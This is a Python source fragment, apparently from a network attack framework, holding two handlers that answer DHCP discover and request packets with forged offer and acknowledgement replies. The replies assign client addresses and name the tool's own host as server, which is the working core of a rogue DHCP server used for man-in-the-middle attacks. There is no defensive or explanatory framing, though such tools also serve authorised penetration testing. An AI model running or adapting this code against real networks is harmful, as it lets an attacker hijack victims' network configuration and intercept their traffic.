def __on_discover(self, mpkt):
values = self.get_values(mpkt)
spoof = MetaPacket.new_from_layer(mpkt, 'bootp')
spoof.set_field('bootp.op', BOOTP_REPLY)
try:
client_ip = self.pool_iter.next()
except StopIteration:
log.debug('No available IP address')
return
spoof.set_field('bootp.yiaddr', client_ip)
spoof.set_field('bootp.siaddr', self.session.context.get_ip1())
options = self.setup_options(values).items()
options.append(('message-type', 'offer'))
options.append('end')
spoof.set_field('dhcp.options', options)
self.send_dhcp(
self.session.context.get_ip1(),
mpkt.l3_src != '0.0.0.0' and mpkt.l3_src or '255.255.255.255',
mpkt.l2_src, spoof)
def __on_request(self, mpkt):
values = self.get_values(mpkt)
spoof = MetaPacket.new_from_layer(mpkt, 'bootp')
spoof.set_field('bootp.op', BOOTP_REPLY)
if 'requested_addr' in values:
client_ip = values.pop('requested_addr')
else:
client_ip = mpkt.get_field('bootp.ciaddr')
if client_ip == '0.0.0.0':
log.debug('Client ip is 0.0.0.0 Exit!')
return
spoof.set_field('bootp.yiaddr', client_ip)
if 'server_id' in values:
server_ip = values.pop('server_id')
else:
server_ip = self.session.context.get_ip1()
spoof.set_field('bootp.siaddr', server_ip)
options = self.setup_options(values)
options['server_id'] = server_ip
options = options.items()
options.append(('message-type', 'ack'))
options.append('end')
spoof.set_field('dhcp.options', options)
self.send_dhcp(
self.session.context.get_ip1(),
mpkt.l3_src != '0.0.0.0' and mpkt.l3_src or '255.255.255.255',
mpkt.l2_src, spoof)
